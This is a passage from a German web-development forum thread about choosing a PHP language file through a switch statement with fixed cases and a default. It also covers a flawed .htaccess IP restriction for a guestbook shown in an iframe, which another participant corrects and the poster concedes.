                                  Die benötigen natürlich beide einen Default-Wert (Else), wenn kein Schlüssel für eine der FEST VORGEGEBENEN Möglichkeiten passt.

                                  logisch, sonst könnte man sich das ganze ja sparen..............

                                  nur aus irgendwelchen gründen mochte mein switch mich nicht :-( aber es führen ja - glücklicherweise - meistens verschiedene wege zum ziel.

                                  danke, nochmal an alle, die mir bei der problemlösung geholfen haben.

                                  gruss
                                  shadow

                                  --
                                  If there's anything more important than my ego around, I want it caught and shot, now.
                      2. Hello,

                        ich hab's jetzt eben auf den Server gesacmissen

                        <?php   ###switch.php ###

                        $language = '';
                        if (isset($_GET['lang'])) $language = $_GET['lang'];

                        switch ($language)
                        {                                           ## <--- diese Klammer war falsch
                            case 'de':                              ## den Unterschied kann ich leider nicht erkennen
                                $lang = 'language/german.php';
                            break;

                        case 'en':
                                $lang = 'language/english.php';
                            break;

                        default:
                                $lang = 'language/hottentott.php';
                        }

                        echo $lang;

                        ?>

                        Harzliche Grüße vom Berg
                        http://bergpost.annerschbarrich.de

                        Tom

                        --
                        Fortschritt entsteht nur durch die Auseinandersetzung der Kreativen
                        Nur selber lernen macht schlau
                        Ein Jammer ist auch, dass die Dummen so selbstsicher und die Klugen voller Zweifel sind. Das sollte uns häufiger zweifeln lassen :-)

            2. Hello Robert,

              hoppla, was passiert denn da?

              ich bin über Dein "return" im Switch gestolpert und habe ein kleines Experiment gemacht

              <?php   ### switch_lang.php ###

              übernimmt $_GET['lang']

              $language = '';
              if (isset($_GET['lang'])) $language = strtolower($_GET['lang']);

              function choose_lang($lang_param)
              {
                switch ($lang_param)
                {
                    case 'de':
                        return 'language/german.php';
                    case 'us':
                        return 'language/ami.php';
                    default:
                        return 'language/english.php';
                }
              }

              echo choose_lang($language);
              ?>

              Das ergibt die Fehlermeldungen

              Warning: Unknown: failed to open stream: Permission denied in Unknown on line 0

              Fatal error: Unknown: Failed opening required '/home/thomas/web/php4/Switch/switch_lang.php' (include_path='.:/usr/share/php:/usr/share/pear') in Unknown on line 0

              Was gesachieht denn da?
              Ich erinnere mich so dunkel, dass wir mal darüber diskutiert haben könnten hier.

              Wird da ein "include()" ausgelöst?

              Harzliche Grüße vom Berg
              http://bergpost.annerschbarrich.de

              Tom

              --
              Fortschritt entsteht nur durch die Auseinandersetzung der Kreativen
              Nur selber lernen macht schlau
              Ein Jammer ist auch, dass die Dummen so selbstsicher und die Klugen voller Zweifel sind. Das sollte uns häufiger zweifeln lassen :-)

  2. hi,

    ich hab (ist zumindest meine überzeugung) die perfekte lösung gefunden.

    da das gästebuchscript auf domain-B liegt aber per iframe in domain-A eingebunden ist (weil auf domain-A keine sql datenbank zur verfügung steht) lag es nahe das ganze per .htaccess zu lösen.

    .htaccess von domain-B:
    order deny,allow
    deny from all
    allow from 80.190.249.200 #IP von domain-A

    funktioniert und dürfte sämtliche probleme in der richtung lösen :-)

    gruss
    shadow

    --
    If there's anything more important than my ego around, I want it caught and shot, now.
    1. Hello,

      ich hab (ist zumindest meine überzeugung) die perfekte lösung gefunden.

      da das gästebuchscript auf domain-B liegt aber per iframe in domain-A eingebunden ist (weil auf domain-A keine sql datenbank zur verfügung steht) lag es nahe das ganze per .htaccess zu lösen.

      .htaccess von domain-B:
      order deny,allow
      deny from all
      allow from 80.190.249.200 #IP von domain-A

      funktioniert und dürfte sämtliche probleme in der richtung lösen :-)

      Wie soll das funktionieren?
      Dann müssten ja alle Requests von der IP 80.190.249.200 kommen, also alle Clients unter dieser IP arbeiten. das kann ich nicht glauben.
      Die Requests kommen doch üblicherweise vom jeweiligen Client und der hat die ganze Welt als IP-Vorrat.

      Harzliche Grüße vom Berg
      http://bergpost.annerschbarrich.de

      Tom

      --
      Fortschritt entsteht nur durch die Auseinandersetzung der Kreativen
      Nur selber lernen macht schlau
      Ein Jammer ist auch, dass die Dummen so selbstsicher und die Klugen voller Zweifel sind. Das sollte uns häufiger zweifeln lassen :-)

      1. hi $name,

        Wie soll das funktionieren?
        Dann müssten ja alle Requests von der IP 80.190.249.200 kommen, also alle Clients unter dieser IP arbeiten. das kann ich nicht glauben.
        Die Requests kommen doch üblicherweise vom jeweiligen Client und der hat die ganze Welt als IP-Vorrat.

        fiel mir dann auch auf, klassischer fall von denkfehler und zuwenig kaffee.............

        gruss
        shadow

        --
        If there's anything more important than my ego around, I want it caught and shot, now.